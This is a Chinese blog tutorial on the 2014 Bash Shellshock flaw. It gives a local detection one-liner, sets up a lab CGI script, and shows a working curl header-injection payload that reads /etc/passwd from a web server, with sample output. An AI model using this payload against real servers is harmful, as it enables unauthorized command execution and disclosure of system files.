1、终端用户检测漏洞方法
本地用户在终端可以执行以下测试方法来检测是否存在该漏洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果显示信息如下,则表示该主机存在该漏洞:
vulnerable
this is a test
2、远程攻击条件
1). Linux WEB Server提供的CGIL接口允许我们通过远程HTTP方式进行Bash调用
httpd -l | grep cgi apachectl -t -D DUMP_MODULES | grep cgi
如果输出有包含cgi字样的字符,那说明已经成功开启了mod_cgi。
3、环境准备
假设你配置的cgi-bin的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的shell.sh脚本:
#!/bin/bash echo "Content-type: text/html" echo ""#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果echo "<html>"
4、开始获取主机信息
找一台能连接服务器的Linux机器,假设我这里主机的IP为:192.168.0.1,在终端输入以下命令:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://192.168.0.1/cgi-bin/shell.sh' -I
5、查看输出结果
类似以下输出:
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync
6、总结
要利用该漏洞获取信息,需要服务器满足第2节中的条件,在生产环境中一般是一些cgi应用型的互联网网站,且主机是类unix系统。
- 微信扫码赞助
- 支付宝赞助
2014/09/30 11:35:35
(呲牙)